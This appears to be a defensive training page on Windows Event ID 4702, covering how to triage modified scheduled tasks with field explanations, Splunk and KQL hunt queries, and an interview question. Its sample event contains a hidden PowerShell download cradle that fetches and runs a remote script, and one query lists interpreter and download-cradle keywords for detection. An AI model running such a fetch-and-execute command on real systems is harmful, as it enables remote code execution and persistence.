Security · Persistence
4702 · A scheduled task was updated
Event 4702 is logged when an existing scheduled task is modified, and it contains the new task XML. Attackers sometimes hijack a legitimate, rarely-watched task by swapping its action instead of creating a new task, which is quieter and inherits a trusted name. Many 4702s are benign updater noise, so the key skill is comparing the new action to the known-good one.
Where it is logged
Key fields to read
| Field | What it tells you |
|---|---|
| TaskName | Name and path of the task that was changed. |
| TaskContentNew | The updated task XML; compare its <Command> with the previous definition. |
| SubjectUserName | Account that modified the task. SYSTEM for many updater changes. |
| SubjectLogonId | Logon ID to pivot to the originating 4624. |
| ClientProcessId | PID of the process that made the change (newer builds). |
Sample event
EventID: 4702
TimeCreated: 2026-03-15T01:05:48.117Z
Computer: NW-APP-03.northwind.local
SubjectUserName: adm.jlopez
SubjectDomainName: NORTHWIND
SubjectLogonId: 0x7C02D41
TaskName: \NW-Maintenance\NightlyLogRotate
TaskContentNew: <Task ...><Triggers><CalendarTrigger><StartBoundary>2026-03-15T02:00:00</StartBoundary></CalendarTrigger></Triggers>
<Actions Context="Author"><Exec><Command>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Command>
<Arguments>-nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/r.ps1')"</Arguments></Exec></Actions></Task>
ClientProcessId: 4412How to triage it
- 1Extract the new
<Command>/<Arguments>fromTaskContentNewand compare with the previous version (earlier 4698/4702, backups, GPO, or the same task on peer servers). - 2Identify who changed it (
SubjectUserName) and whether that person owns the task or works in the team that does. - 3Pivot on
SubjectLogonIdto the 4624 to see if the change was made remotely and from which host. - 4Check intel and proxy logs for any URLs or IPs in the new action, and look for the next run of the task (4688 under the task's account, logon type 4).
- 5Escalate if the action changed to a script interpreter, download cradle or unknown binary without a change ticket.
Benign vs suspicious
Usually benign
- Browser and software updaters (Google Update, Adobe, Office) updating their own tasks, usually as
SYSTEM. - Windows servicing modifying built-in tasks after patches.
- Admins changing schedules or credentials on maintenance tasks.
Red flags
- A legitimate task's action replaced with PowerShell,
mshta,rundll32or a binary in a user-writable path. - Changes made by an account that does not own the task, or remotely from a workstation.
- A disabled task being re-enabled with a new action, or a run-as principal changed to
SYSTEM.
Hunt for it: Splunk & KQL
index=wineventlog EventCode=4702 NOT Account_Name="*$"
| rex field=Task_Content_New "<Command>(?<task_command>[^<]+)</Command>"
| stats count values(task_command) AS commands BY host, Account_Name, Task_NameSecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4702 and not(SubjectUserName endswith "$")
| extend TaskName = extract(@"<Data Name=\"TaskName\">([^<]*)<", 1, EventData)
| where EventData has_any ("powershell", "mshta", "rundll32", "DownloadString", "AppData")
| project TimeGenerated, Computer, SubjectUserName, TaskName, EventDataField names depend on your add-on and table. More translations in the Splunk vs KQL cheat sheet.
Interview question
“Why would an attacker modify an existing scheduled task instead of creating a new one?”
✓ Strong answer sketch
A new task creates a 4698 that many SOCs alert on, and an unfamiliar task name stands out during review. Modifying an existing, trusted task like a nightly maintenance job reuses a name defenders already consider normal and keeps its existing schedule and privileges. That is why I treat 4702 by non-system accounts as worth reviewing and always compare the new action to the known-good definition. A switch from a signed vendor binary to PowerShell with a download cradle would be an immediate escalation.
Frequently asked questions
What does Event ID 4702 mean?
Event ID 4702 means a scheduled task was updated. The TaskContentNew field contains the task XML after the change.
Are Event ID 4702 events usually malicious?
No, most come from software updaters running as SYSTEM. Focus on changes made by user accounts and on new actions that point to script interpreters or user-writable paths.